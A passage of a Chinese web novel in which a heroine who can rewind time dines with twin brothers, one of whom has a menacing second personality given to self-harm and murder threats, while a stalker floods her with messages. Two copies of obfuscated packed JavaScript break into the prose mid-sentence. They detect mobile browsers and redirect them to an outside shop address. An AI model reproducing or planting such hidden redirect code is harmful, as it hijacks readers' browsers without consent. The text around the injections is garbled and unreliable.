“先生你好,是华熙3幢303的住户吗?这边有个人说他是你弟弟,忙完了手头的工作来找你,需要我怎么回他?” * 江萦出去后,安童放下了架子,大大咧咧坐着,惬意得眼睛眯起,这里的座椅太舒服了! 她百无聊赖地掏出手机,想到了今天加的那个大师,试探着发出一条消息。 [安徒生:大师你好,还记得我吗!(猫猫探头)] 对面很快回复。 [溪:知道哈哈哈!自我介绍一下,我叫宋溪,擅长情感咨询,今天那两人你搞定了吗?(猫猫探头)] 这时服务员进来了,安童立马恢复成正襟危坐的样子,笑不露齿地对他颔首示意,现在上的是开胃菜鱼子酱。 等他离开后,安童不感兴趣地将鱼子酱推远,继续回消息。 [安徒生:很轻松啊,这两人可笨了,被我哄一哄就信了哈哈哈哈~] [安徒生:大师你好有经验,求教!] [溪:其实我也没谈过恋爱,主要运用了心理学的知识,我推荐你一本书吧,书名叫净化,或许你看了之后会有所收获。] 诶,这本书安童刚好有,但早被她丢在江萦车上了。不知怎么,封面确实很吸引她,但莫名其妙不想打开看。 门口再次进来一个人,安童坐相再次乖巧起来,她以为是服务员来上主菜了,看清人时瞬间感到无趣。 啊,是江萦。 这幅冷淡的模样安童看见就觉得很影响食欲,也不是很想和他说话,简直是没有沟通的欲望。 但她还是尽责地露出一个浅笑,平等地关爱每一个人:“你回来啦,现在还没有上主菜。” 他淡淡地嗯了一声,坐到安童身边。 等主菜间隙,包间内气氛有些沉寂。 江萦一进来几乎没怎么和她有视线交集,拿着手机不知道在发些什么。为了缓解尴尬,安童干脆也低下头捣鼓自己的手机,和大师宋溪继续聊天。 大师不仅在平衡人际关系情商高,说话也很有水平,极为风趣幽默,隔着手机都能感受到对方的开朗有趣,安童被逗得不行,没忍住发出一声笑。 害怕吵到江萦,于是安童抬起头想看看他的情况,脸上还带着未散去的笑,眼角沁出了泪,两腮也因为憋笑染上薄薄一层浅红。 安童脸上的笑滞住了。 他姿势维持着刚进来的模样,只不过现在侧着头,那双冷灰色的眼睛像是机器一样眨也不眨,目不转睛地凝视着她,不知道已经看了多久。 冷得像是无机质金属,但投在她身上的目光却让人感到过于放肆和黏腻,实在有些令人毛骨悚然了。 安童浑身起鸡皮疙瘩,以为自己是吵到他了。因为刚刚笑过,略微被泪光模糊了视线,看人的时候眼睛没有焦距,朦胧又无辜。 “我刚刚发出的声音有吵到你吗?对不起啊,我不是故意的……” 很懂事乖巧地在道歉。 “江薄”直勾勾看着安童,心里道:你说,要是我们把她掳走怎样? ——不,你不可以!不许!!!! * 江薄悄悄跟着江萦来到了A市。 蒙着帽子和口罩,江薄躲在学校旁的隐蔽处,看着江萦站在车前,弯着腰把安童挡住,姿态很是亲密,看起来像是在接吻。 他恨得死死咬着手指,直到血-液的味道在嘴里荡漾开,眼前阵阵发黑,甚至呼吸开始急促起来。 被安童拽着领带亲的人应该是他!明明是他在和安童网上聊天,安童喜欢的是他,想要亲吻的也是他! 江萦果然骗了他。 他就是个小偷。 该死该死该死该死该死该死该死该死该死该死该死该死该死该死他就应该去死去死去死去死去死去死去死去死去死去死去死…… 江薄想要上前愤怒地打他哥一顿,但是他一站在人前就恐惧,想到别人会看见他们打斗,就感觉四肢生理性僵硬。 更何况,江薄不想让安童看到他这么狼狈的样子。 要站在她面前,江薄得保持自己是最完美的样子,会害怕自己衣着不够鲜亮、笑容不够好看、语气太过结巴,害怕自己不讨安童喜欢。 ——与其这么纠结,不如让我上线,一刀就把你哥解决了,这安什么童不就是你的了吗? 还有句话没说,“江薄”怕江薄直接接管他占据身体。就一个女人能让他难为成这样,干脆以后都把身体支配权给他算了,真没出息。 江薄被他的话惊醒,意识到自己刚刚产生的阴暗念头后,他心虚地握紧了手,拒绝道:“不行,他是我哥,而且杀人是犯法的。” 虽然回拒,但他内心深处传来一个问话:江萦这么可恶,你真的不想让他消失吗? ……但是杀人真的犯法。 那样安童就不喜欢他了。 这没关系,“江薄”为了占据这具身体,他的底线可以灵活变通,今天不杀说不定改日就想了。 ——好的好的我不刀咱哥,那你把身体交给我,我有办法帮你解决,况且就你这幅见光死的样子,现在只能站在原地被绿,难道你想未来站在你哥和那女人的婚房外哭一宿吗? 江薄还真的幻想了一下这副画面,瞬间雷得犯呕,杀心再次起来,但又被他强压下去。 他太讨厌自己的病了,如果他也能像第二人格一样大大方方的多好,这样就能大胆对安童示爱了。 当初也不用经过江萦这个第三方,最后还被他上位。 咬了咬牙,江薄同意了,他让出身体前,不放心地叮嘱道:“你不许做出太过分的事情,尤其是不许伤害安童,不然我一定会把身体接管权抢回来。” “江薄”敷衍地应了一声,催促着他。等接管了身体之后,想干什么还不是自己说了算。 江薄目前的弱点就是安童,等他来争取控制权时就攻击其弱点,让他没有精力来争夺。 等占据身体后,“江薄”瞬间反悔,压根不想管江萦和安童的事,他准备去找些带血的乐子。 但这件事应该是江薄的心结,他在头痛欲裂差点没抢过控制权时,作出了妥协打算帮忙。 他知道江萦在这边买下的住房,就用自己的人脉打了个电话,找了个和他衣着打扮类似的人,去别墅找保安给江萦打电话,以拖延时间。 接下来就是找安童解释清楚——江薄才是和她聊天的人。 见到安童前,“江薄”一点也不好奇这个女人,只觉得是个麻烦,甚至想着以后顺路也把她刀了。 但见到安童后,“江薄”想法瞬间变了。 他的眼睛根本离不开这个人,大脑高速播放着她的一笑一颦,身体不安地躁动,甚至想把心脏掏出来献给她。 几乎是瞬间下了结论:他要把安童抢过来,她不属于江萦,也不属于江薄,而应该是他“江薄”的。 不,或许他现在应该有一个自己的名字,自己的身份。 这样才能和安童有未来。 * 安童就这样在“江薄”豺狼般饥渴的视线中,食不知味地用上了正餐,往日鲜香的牛排变得没滋没味起来。 她戳着盘子,最后实在忍不下去了。江萦这个精分,知不知道他现在的目光已经对她造成了困扰。 “这个,你不吃吗?”安童小心翼翼地问道。 “啊,这样啊。”“江薄”像是个傀儡一样,安童说一句他动一下,他手法讲究却极快地划下一大块肉,塞进了嘴里。他眼睛盯着安童,没有咀嚼,像是把肉当成她一样直接咽了下去,“现在我吃了。” 然后他继续歪头看着安童,眼珠子都不带转动一下。 安童瞳孔震惊:“……”bro,你直接吞下? 不行了,她要离开包间一会。 希望回来时这个病患已经恢复正常。 不知为何,先前的那个江萦她还可以随便逗弄,现在面对的这个人让她莫名有一种直视危险野兽的感觉,仿佛下一秒会被咬断脖子。 安童用自己的品格担保,现在十分有十一万分的不对劲。 思考只在一瞬间,她开始发挥演技,眉头轻轻皱起,一只手捂着肚子,另一只手揪着“江薄”的西装下摆,声音好不可怜:“江薄,我肚子有些不舒服,可能要先出去一会,你先吃吧。” “江薄”点了点头,安童心里一喜,就在她刚起身快要离开时,却被人抓住手,用很大的力道往下一拉。 安童茫然地又坐了回来。 她有些毛骨悚然,不知道为什么,一些恐怖电影的桥段突然出现在她脑海。 像什么外星生物寄生在人体内导致行为变得异常,终于要张口血盆大口吞掉亲人之类的。 扭曲怪异的画面在脑中一闪而过,这时肚子上传来了温和的触感。 “江薄”将安童摁住后,选择在这个时候听听江薄的意见,给她揉揉肚子,据说这种揉法可以缓解腹痛。 啧,真是像个弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938314|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不禁风的小动物,麻烦得很。不过对象是安童的话,他可以学学怎么照顾人。 “现在好些了吗?” 被“江薄”贴心揉着肚子的安童像是被命运扼住喉咙的可怜人,不但没觉得放心,反而更加害怕。 江萦之前就是个冷淡的贵公子啊,怎么可能这样贴心地照顾人? 吓得她赶紧存了个档。 安童装得更加难受:“可能我还是得去一趟卫生间……” 她伸出两根手指将“江薄”的手扯开,诚恳道:“我去去就回。” 话是这样说,离开包间后的安童像是被解放了一样,迈着优雅但急促的步伐火速远离包间。 拜托,这种情况谁敢不跑! 服务员在这时候端着餐盘再次出现,他看到安童急匆匆离开,眼里露出疑惑,但还是秉持着职业教养没开口。 只是在心里叹着气。 害,看来那位先生还是没有哄住自己的女朋友。 * 虽然急着离开,但安童还是决定去一趟就近的卫生间,刚刚等待正菜时她喝了太多水。 出来前,她在镜子面前梳理了很久自己蓬松的头发,甚至还补了个妆,折腾了一阵,这才满意地走出去。 但是很快转角遇到了爱。 看到江萦时,安童心里只冒出了这一个想法:还好她是刚从卫生间里出来时被看到,把谎圆上了。 她捶胸顿足,心里这个悔啊,早知道就憋着离开了。 江萦一步步走过来,安童头脑风暴中,在想还能用什么借口离开,却听他开口:“你怎么也在外面?那我们一起回去吧。” 安? 安童愣住,细细打量了一下这个江萦,看起来很正常,神情冷淡,眉头微微皱起,似乎有些烦躁。 “你……刚刚一直在外面吗?” 江萦:“我在外面打电话,怎么了?” 寒意瞬间席卷心头。 安童倒吸了一口冷气,仿佛恐怖故事被验证了一样。 刚刚原来不是江萦,所以那个和她一起吃饭的人是谁? 不可能是江薄,江萦说他弟弟还在S市。 安童短时间内回忆起了无数部恐怖片,其中一部就是变态杀人狂整容成亲人模样不断杀杀杀,最后杀到只剩剧名。 就在越联想越细思极恐的时候,安童才想起自己可以看人物信息。 她赶紧看了眼前这人。 【江萦,20岁,男,心情值:焦虑】 好的,这个才是正版江萦。 安童安心不少,把刚刚的事告诉了江萦,他沉默不语,在她问这人可能是谁时,他顿了一下,才开口:“……不知道,既然这样,我们先离开吧。” 这怎么行!刚刚那个人太诡异了,不弄清楚的话她很难安心。 江萦脚步缓慢地跟着她,不知为何他显得很是犹豫,但到了包间后,安童发现人已经跑了。 江萦松了口气,他道:“我们离开吧,人已经不在了。” 不行!她仗着可以回档胆子大了起来,在这时存了个档,然后回到了上一次存档的时间。 再次睁眼时,她正被假江萦揉着肚子。 安童果断看了下他的个人信息。 【江薄(?),男,20岁,心情:很好】 含羞草竟然是你,怎么从江萦口中的S市跑到这家西餐厅了。 胆子大了啊,竟然敢扮成江萦骗她,而且态度莫名其妙,她要逗回来! 安童这次没有推开他,而是两只手覆在他的手上,侧头露齿一笑:“谢谢你啊,我肚子好多了。” 如果没记错的话,江薄可害羞了,连和她对视都要脸红躲避。 但和她想象中慌乱的模样不同,他一脸坦然,大大方方的,一点没有羞赧的样子,只是淡淡道:“那就好。” 还在装! 安童总有办法让他自己承认! * “江薄”很享受安童的主动贴近,认为这是她想要加深感情的行为,每次他都是假意冷淡地避开,然后顺理成章让她碰到,就当是和老婆调-情了。 他几乎要装不住那江萦的虚伪样了,安童看起来很喜欢他。 ——是喜欢我!你不许对她有任何想法,安童是我的! 他在心里敷衍地回复:“好的好的,放心是你的,我不喜欢你老婆。” 才怪,谁抢到手就是谁的,哪有什么先来后到,“江薄”已经不打算让出这具身体的控制权了,安童的未来里只会有他。 不过…… 接连试探之下,“江薄”琢磨出不对劲,端详了安童几瞬,他笑了:“你已经知道我是谁了吧。” 安童安静了,也停止了自己无用的试探行为,心想这含羞草怎么ooc了,他曾经的内向害羞呢? 被揭穿了也不要紧,她回道:“是啊,我知道你是谁噢~” “江薄”注视着安童的眼睛,有些期待:“我是谁?” 【特殊事件:面前的这个被你发现身份后,竟然理直气壮地反过来质问你,那你知道他是谁吗?请选择——】 【A.废话,你是江薄!】 【B.我不知道。】 【C.感觉你熟悉又陌生。】 “江薄啊,不然是谁?” “江薄”有些失望。 尽管他是江薄的第二人格,但从来没有把自己当做江薄。 但没关系,把主人格干掉,他也可以成为江薄。 现在,要让他未来的老婆适应一下自己。 “江薄”将安童拉进怀里,下巴靠在她的头顶,声音带着笑:“你认为江薄那内向的性格,会主动对你做出这样的事吗?” 他低头在安童额头上亲了一下,尾音拉长:“或者这样?” 安童再度升起了一些警惕,这人的性格怪怪的,而且江薄可乖了,确实不会像他这样。 她再再次脑补出一部恐怖片,但挣脱不开他强硬的怀抱,于是麻木地又存了一个档,不由拿起一旁的叉子防身:“你别乱来,不然我就刺你了!” “江薄”笑了:“你说得有道理,那你刺了我,我是不是就能乱来了?” 他拉着安童的手,带着叉子猛地手刺进了自己胸膛。 ??? 这发展不对啊! 24. 奇葩的第二人格 安童紧急撤回一个刀人行为。 现在回档到了她被“江薄”抱在怀里的那一刻。 不怕人疯,就怕人疯起来连自己都坑。 经历了刚刚那一遭,安童算是彻底改变了对江薄的刻板印象,或者说现在这个人真的是江薄吗? 她将江薄的个人信息再度拿出来看了看,这才发现括号内的问号。 安童的头上也快有大大的问号,这是江薄没错啊? 她懒得周旋下去,在“江薄”怀里空间有限地挪动了一下,让自己舒服点,才艰难抬起头,对他直白地发问:“那你是谁,长这样的除了江家兄弟俩还能有谁,难不成你是整了容吗!” “江薄”眼皮一抬,作势拉着安童的手要往脸上去,眼看叉子就要划破脸了,她用力往后拉才堪堪止住。 叉子离脸只有一根手指的距离。 就着这个姿势,“江薄”一脸无所谓,用着吃饭般轻松的口吻:“那你在我脸上划一道伤疤不就好了吗?”他勾唇一笑,对安童示以鼓励的眼神,“这样就不像江薄,更不像那什么江萦了。” 安童握着叉子的的手抖了抖。 真是怕了他。之前遇到的奇葩男人好歹讲点逻辑,比如沈竹青,欺负人的动机很明显,就是因为他不服管教非要反着来。 现在这人倒好,喜怒无情,做事全凭缘分一样,完全听不懂人话。自有一套世界观的体系,像是五年义务教育的漏网之鱼误闯了法治社会。 而且擅长内耗,很会解决自己。 安童头一次遇见这种喜欢自-残的奇葩,态度不由变得小心翼翼:“你就是江薄吧?是最近发生了什么吗……”此刻用尽了毕生茶艺,她让自己看上去真的很关心“江薄”,“可以和我讲讲,你现在的情况很奇怪,把我吓到了……” “我都说了不是江薄,不过加个前提——现在还不是,但很快我就彻底是了。” 烦,最讨厌这种谜语人了! “江薄”正压制着脑中疯狂想要争夺身体控制权的江薄,一涉及到安童的事这蠢货就格外有毅力。 他忙着和未来老婆培养感情,懒得理江薄,准备速战速决,便在心里一边嘲讽一边应付:急什么,都说了让你放心,我对安童没兴趣,这不是为了帮你吗?再说了,我不就是你吗,真搞成了最后享受的不还是你? 脑里怒骂的声音一顿,随后渐弱,消停了下来。 江薄这蠢货还真好应付。“江薄”暂时解决了麻烦之后,美滋滋地搂了下安童。 动作间,吊灯的光打在银叉上,闪了下安童的眼睛,她连忙闭上双眼缓解晕眩和刺痛。 “江薄”把安童手里的叉子抽了出来,扔在桌子上,他凑近了安童的脸,像是没见过人一样得劲看,眼里出现好奇:“你看起来好弱,是怎么活到现在的。” 安童眼中氤氲出生理性泪水,她勉强睁开右眼,瞪了瞪他:“你什么意思,一直不告诉我身份就算了,现在还带人身攻击,眼睛很脆弱的你知道吗!不然你试试,我不信你不闭眼。” “那点光算什么,我直接把眼睛扎了也能活下来。” 说着,“江薄”顺手拿起刚刚扔下的叉子,就要戳进眼里,安童疯狂炸毛,赶紧阻止他。 “你有没有常识啊!人没了眼睛以后不说能不能活着,你要怎么完成日常活动啊!你要怎么吃饭睡觉看书……!” “江薄”被拉住了手,顺着安童的胳膊往下看到她的脸,眼尾乖乖垂着,但两眼圆睁,其中情绪十分复杂。 他自动解读了一下安童的意思,难道……她这是认为他做不到? 这不行,作为雄性怎么能被老婆质疑,如果安童认为他太弱小做不到这件事,那还会和他在一起吗? “江薄”任由安童夺去叉子,趁她没注意抬起手指就往眼前戳,真要把眼睛抠出来一样。 安童尖叫一声抓住他的手:“啊啊啊啊人不能没有眼睛的,也不能用手掏!!” 见“江薄”脸色又变了变,她感觉自己后半句话似乎有些歧义,万一这脑回路清奇的人又想歪呢。 万一他不用手而是用其他方法呢! 安童咽了咽口水,两手覆盖住“江薄”的手背,温声细语的,像哄小孩子一样:“人是需要眼睛的,你不能这样破坏自己的身体。” 被安童握住手的“江薄”终究停下了动作,毕竟老婆的手心太娇嫩了,万一受伤破皮怎么办,他得好好养着。 但“江薄”心里还是盘算着什么时候弄掉自己的眼睛,让安童知道他不像人类那样脆弱。 区区一双眼睛,没了又能怎样,老婆开心就好。 在安童以为结束时,“江薄”突然开口:“我和你们人类不一样,不靠眼睛也能活得很好。” 言外之意:老婆你放心,眼睛你随时可以拿走。 安童:“……”这货跳出人类范畴了哈哈。 江薄冷不丁在脑中问“江薄”:你不是人,那你是什么? “江薄”心里鄙视这个蠢货,理所当然道:我和你们这种弱鸡人类不同——安童除外,我是狼,虽然不能变成原型,但我具有狼的素质。 脑中又安静了,江薄一点动静也没有,让“江薄”感到奇怪,本以为这蠢货又要哭哭啼啼骂他抢老婆。 “喂,江薄!” “江薄”回过神,看见安童举着手在他眼前晃,他低下头:“怎么了?” “你不能毁掉自己眼睛,”安童坏事干多了,头一次苦口婆心劝人别误入歧途,觉得有些新奇,眼看“江薄”不知道又联想到什么奇葩事情,她灵机一动,“如果你眼睛没了,那你怎么看见我?” 这一句话抵消了“江薄”所有的猜忌,他发热的大脑冷静下来。心想,对啊,没了眼睛他还怎么看见老婆,这种时候竟然犯蠢。 他正要松开安童,和她一起继续吃饭,却听安童轻轻地说:“我是在担心你啦,你现在变得好奇怪啊,明明刚见你时……” 她悄悄觑了一眼“江薄”,觉得和那个含羞草判若两人。 “关心?” “江薄”不认为自己有值得关心的地方,安童看出他又想岔了,又补充道:“关心你失去眼睛,意思就是我不希望你这样做,也不想看到你伤害自己,我会难过的。”其实是害怕被追责。 “江薄”悟了。 原来老婆是在心疼他。 安童这次从“江薄”怀里轻松挣了出来,回到自己座位上,已经打算放弃探究他是谁了,准备回到上个档和江萦离开。 “其实我不是江薄。” 终于要承认了? 其实安童已经差不多猜到了,可能江薄他人格分裂了。 “江薄”脸色认真:“我其实是狼,只不过现在没办法变成原型。” “……” 等安童见到江萦后,一定要让他带着自家弟弟挂个心理医生治一治。 这人的自我认知已经彻底错乱了啊。 “江薄”看了眼手机,发现江萦已经快赶回来了,他必须快点离开。 安童回档前正准备再吃几口饭,却被“江薄”拉住右手,她回头,见他郑重其事道:“我要走了,在这之前,你可以帮我取个名字吗?” 安童以为他在开玩笑呢,哪有人这么随便地给自己找外号,于是随口一说:“你不是狼吗,那就干脆叫江狼吧。” 但“江薄”当真了,他高兴的反应让安童生出点内疚,刚要说自己是开玩笑,他却是笑得很开怀,格外兴奋:“好啊,以后我就叫江狼。” 嗯,真是个朴实无华的名字。 你喜欢就好。 临走前,江狼和安童互留了联系方式,安童用敬畏而解放的目光欢送他离开了。 她想了想,还是没有回档,准备等这个节点的江萦来找自己。 这时,手机弹来一条来自江狼的新消息。 [薄:刚刚忘了告诉你一件非常重要的事,之前和你在网上聊天的人是我,不是江萦。] [薄:江萦骗了你。] [薄:要不要我帮你把这个讨人厌的骗子干掉。] 最后一条消息有点炸裂,安童揉了揉眼睛,却发现被撤回了。 江狼刚发完消息,就被脑子里的“江薄”尖声阻止并疯狂和他争夺着身体控制权。 他头疼欲裂,但还是听取了一下这蠢货的意见,毕竟养人类老婆这件事这人更懂。 江薄:安童不喜欢这种人,她可是未来要做犯罪侧写的人,你不能这么反社会! 原来如此。江狼心想,老婆可真是胆小又脆弱,以后他还是得悠着点。 江薄见状,更加肯定他喜欢安童了,肠子都悔青了,不怀好气道:你现在还想要刀江薄吗。 江狼斩钉截铁:当然要刀,但我可以瞒着安童偷偷给他刀了,这男人欺骗安童又欺骗我们,不安好心。 说曹操曹操到,刚过楼梯转角,就遇到了江萦。 * 刚刚别墅区的管理人员突然给江萦打来电话,说江薄来找他,但含糊了半天也没有说到重点。 江萦皱眉,没有和这人继续耽误时间,挂掉通话后,心里却是升起一些莫名的惶恐。 江薄怎么没有好好待在S市,反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950396|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而跑到了A市来? 想到还在包间里的安童,他不知为何有些隐隐的焦虑,脚步加快,想要返回。 但江萦刚上楼梯就停了下来,浑身血液变得冰冷,看到笑意盈盈的江薄冲他打招呼:“哥,你也在这啊?” 江萦冷着脸,很想问他为什么出现在这,有没有看见安童,但这样问出来就会显得他有事瞒着江薄。 所以最终他只是试探道:“你也是来这吃饭的?我是在这里有个客户。” 江狼一只手撑着楼梯扶杆,笑了笑:“是啊,我只是在这里吃饭,没有看见什么人。” 垂在身侧的手悄悄握紧,指甲深深陷进了肉里。江萦嘴角勾着一个散漫的笑,没有展露出因为江薄可能和安童见面而出现的紧张和无措,依旧气定神闲,颇有贵公子的风度。 “这样啊,我有事要先回包间了,我和别墅那边的管理人员说了一下,你可以直接进去了。” 江狼随意地点头回应着,懒洋洋地走下楼梯,经过江萦时拍了拍他的肩膀,声音带着调侃的笑意:“哥,有些东西不是你的就别强要,小心有刺,把手心扎出血。” 他眼神下移,见到江萦渗血的手,再次笑了一声。 江萦冷淡地瞥了江狼一眼,迈上楼梯离开。 他这个弟弟今天有些不对劲。 性格内向的人,什么时候变得这么游刃有余? 但这又关他江萦什么事。 现在需要担心的是,安童是否和江薄有过接触,她知道自己被骗了吗? 刚刚江薄的话让他心绪有些紊乱,脚步匆匆地来到包间前,刚要握下门把手,却又迟疑了。 江薄很可能已经和安童见面了,万一安童从他那里知道了真相怎么办? 会难过,还是生气? 怀着与自己冷峻面容截然不同的忐忑心情,他踏进了包间。 安童看见江萦后,把盘子里最后一块牛排塞进了嘴里,欢快地招呼着他:“江薄,你可算回来了!怎么出去了这么久,饭都冷啦!” 若无其事的模样,让江萦短暂松了口气,他松开已经鲜血淋漓的右手,重新坐回安童身边,就着已经冷掉的牛排随意切了一块塞进嘴里,因为心里憋着事,几乎是没有咀嚼几下就吞了下去,胃里也开始隐痛。 “江薄,要不把你弟弟也叫来A市玩呢,三个人才热闹嘛!” 江萦的胃似乎更痛了,连带着手上的伤带来持续性的阵痛。 他淡淡地回复:“江薄要忙着设计稿,可能没时间。” “这样嘛,那好吧。”安童乖巧地点了点头,转而又想到什么,她眼里带着期待,样貌无辜地问着,“我发现你和线上聊天表现出来的性格不太一样诶,我还是更喜欢你和我微信聊天时的语气。” 安童睫毛颤了颤,柔柔弱弱地眨了下眼睛:“抱歉啊,我不是说你现在这样不好的意思……只是……” 江萦继续划着牛排吃,手上的动作没有停顿,掌心的血滴到了牛排上,他却浑然不在意,麻木地吃着。听到安童的话,他只是平静地掀了下眼皮,疏离地笑了笑:“没关系,都是我不是吗?” 只要瞒着安童不让她发现,被当成江薄又怎样。 尽管这么想,他还是忍不住生出一个念头:为什么是江薄,他江萦在安童眼里的份量又有多少? 仿佛是回应着江萦的念想,安童又开口了:“不过,虽然更喜欢你网上聊天时的性格,但现在这样也挺好的,我也挺喜欢。” 听了这话,江萦动作一顿,心里先是情绪缓和,随后又忍不住把自己和江薄放在天平上进行对比。 安童更喜欢和她聊天的江薄,还是站在她面前的江萦? 收拾完走出包间时,江萦的心情比之前更加焦虑,或许这种情绪是焦虑吧。 江萦发现自己一接近安童,情感封闭的障碍就悄悄解封,但所有陌生的情绪带给他的只有无止境的患得患失,唯恐失去。 或许一切都从那个错误的重遇开始。 但他不会后悔,不然现在走在安童身边的人就不会是他,而是江薄,他那愚笨的弟弟。 江薄根本配不上安童。 安童偷偷用余光观察着江萦,发现他竟然还稳得住。 不过没事,骗了她的这件事,安童总会想办法报复回来。 不是喜欢冒领别人身份吗?那你就永远在这个身份下吧。 看你能憋到几时! 服务员刚好经过走廊,看到成对出来的安童和江萦,心里不禁暖了暖,看来这位先生最终还是哄好了女朋友。 害,真幸福啊。 25. 群发短信 天色已晚,江萦将安童送回了学校,目送她走了进去。 他没有立即开走车,而是降下车窗,让夜里寒冷刺骨的风吹进车内。 领带随着风飘到江萦眼前,他一把扯下,端详了片刻,将其揣在了包里,这才重新启动车辆离开。 安童回到寝室后,室友们还没回来,可能还泡在图书馆里。 应用心理学的大家都好努力啊,但白天努力的安童和晚上想休息的她有什么关系呢。她懒懒地收拾一下自己,滚进了被窝,舒适地叹了口气。 昏昏欲睡时,被手机不断的震动吵醒了。 她不耐烦地从被子里伸出一只手,直接将手机关机。 第二天起来时,神清气爽的安童发现手机里的信息快爆炸了。 晚上11:30。 [图片] [宝宝,你不是说喜欢顾峤吗,为什么会和这个人在一起?] [你们亲了吗?他亲的你舒服吗?有弄疼你吗?他有我听话吗?] [你们做到哪一步了?宝宝,快回我。] [宝宝,你们现在在哪,在干什么] 11:32。 [你们在做吗] [宝宝,别惹我生气] [你在哪] [你在哪] [你在哪] [你在哪] [你在哪] [你在哪] …… 晚上1:30。 [变态男神经(原男神):晚上好童童,你在干什么?] 看来是匿名短信没得到回复,直接切大号来问了。 安童:别以为换了个马甲,我就不知道你是谁。 虽然很是嫌弃顾峤连续不断的短信轰炸,但这人是个变态,不哄着他的话,一会又来搞强制play了,安童对此挺烦的。 一个个的,不能消停些吗! 点开那张图片放大一看,正是在学校旁拍的,当时她坐在车里拉着江萦的领带聊天,拍摄角度显得很是暧昧,仿佛她和江萦真的在干什么不可见人的事情一般。 那种挥之不去的黏腻阴湿感又来了,顾峤这变态竟然还在跟踪她。 想了想,安童还是准备发条短信安抚一下他,顾峤这变态其实笨笨的,被哄一下就好了,晾着不管的话,这变态又找上门来了。 [那张照片是摆拍啦,我和江萦其实一点都不熟,我心里当然只有顾峤学长啦!你怎么能质疑我!] [我昨晚很早就回寝室睡了,你知不知道发那么多消息把我吵到了,我都没睡好0.0。。] 对面像是守在手机边一样,安童一发消息过去,他很快就回复了。 [抱歉宝宝,我不该打扰你休息的,是我不对。] 但很快又话音一转。 [你昨天真的没有和江萦发生什么吗?你为什么要去和他吃饭?你是对他感兴趣吗?] 又来。安童不喜欢这样一直追着问的男人,明明都解释了没有发生什么,而且真发生了什么就一定要告诉他吗。 真不懂事。 安童又随便应付了一下,转移了一下话题。 [真的不熟啦!才和他见了两面!对了,你还想看我穿红裙子吗?] 对面的瞬间平静下来。 [我想看。] 安童让他等一下,就去衣柜里翻那条裙子了。 室友们陆陆续续醒来,见安童在梳妆打扮,好奇道:“童童,你是要去约会吗?” 安童涂着口红,倦懒地抬起眼睛,轻声道:“也……不算是吧,就是我想试试这条裙子了。” 室友对安童的魅力有多大早有认知,大一时刚见到她就被吸引到,但在被扳弯的前一秒,见证了男男女女为她发生的血雨腥风后,就选择退而求其次只做普通朋友好了。 毕竟她们见过安童拒绝人时的无情。 这是朵表面看起来清纯柔软,实则摸起来扎手的玫瑰,她们没有能力摘下。 她们被安童穿着红裙子的模样晃了一下眼睛,想了想安童的光辉事迹,大脑又冷静下来,于是稳着心态和安童打了声招呼后,收拾东西就出门了。 安童对着镜子,没忍住做了个鬼脸,很想拍下这个画面拍给顾峤算了,看他还叫不叫宝宝。 天天宝宝来宝宝去的,烦死了! 安童在这个时候不由回忆起了沈竹青,疯狗克变态啊,生态位这不就有了吗?于是屈尊降贵主动联系了他。 说起来奇怪,这疯狗给她发消息的频率很频繁,但从昨天开始就销声匿迹了。 [安徒生:喂,在吗?] 还是没有回消息,最新记录还是昨天他发来了一段乱码。 安童边整理颈带,边想沈竹青不会出事了吧,要不要联系谢岩帮她找找人。 她随便拍了张照片发给顾峤,顺便给他的大号回了条消息。 想了想,安童把照片给顾峤的大号也发了一份。 编辑,发送。 “嘟嘟……” 安童正要看看顾峤是什么反应,接二连三的消息提示音却响了起来。 好多个人发来消息,谢岩、江家兄弟、甚至还是萧白桦。 她疑惑,点进聊天框一看,人傻了。 救命,一不小心将照片选成群发了! [谢岩:为什么穿成这样发这种图片给我,你想要和我出来吃饭吗?我现在就有空。] 接着是几通视频电话,安童全部挂断,穿成这样本来就不是给他看的,还想要视频,想要和她一起吃饭?现在有空? 想得真美啊,之前的账还没有和他算呢。 [安徒生:啊不好意思,我打算发给另一个人的,他很喜欢我这样穿。] 没有看谢岩破防的一连串回复,她继续看其他人的短信。 [变态男神经(前男神):童童,很好看。] [萦:很好看。] [薄:这身很适合你,我这里有个珠宝设计稿很衬你的红裙,等做好了送你(图片)] [萧白桦:你只发给我看了吗?] 过滤掉两条没有涵养的回复,安童点开了江薄发来的那张图。 是快要完型的红宝石项链设计稿,能看出设计之人的用心,安童还挺喜欢的。 她只回复了江薄。 [安徒生:谢谢很喜欢!冒昧问一下你现在是江狼还是江薄?] [薄:江狼。你放心,很快就没有江薄了。] 啊这。 安童最终怀着复杂的心情发消息让江萦带着他弟弟去医院看看病。 再次回顾了一遍消息,发现就只有沈长昀和沈竹青没有回她。 而且这两人还是养父子关系,沈竹青到底出了什么事,沈长昀他知道吗? 没耐住好奇,安童戳了下沈长昀。 [安徒生:(戳一戳)] 对面还是没有回复。 安童深感自己魅力也没有骤减啊,怎么不搭理她了。 是红裙子不好看吗,还是说看了一次后再看第二次就失去兴趣了? 安童承认,她被勾起了好胜心,她就不信沈长昀能对着自己一直这么冷淡。 [安徒生:沈先生你在吗?是特意穿给你看的,你喜欢吗?这次我还化了妆~(狗狗探头)] 还是不回。 没事,安童有的是美貌和手段。 她憋了几滴眼泪出来,拿着镜子观摩了一下,确定足够楚楚可怜后,拍了张照片发过去。 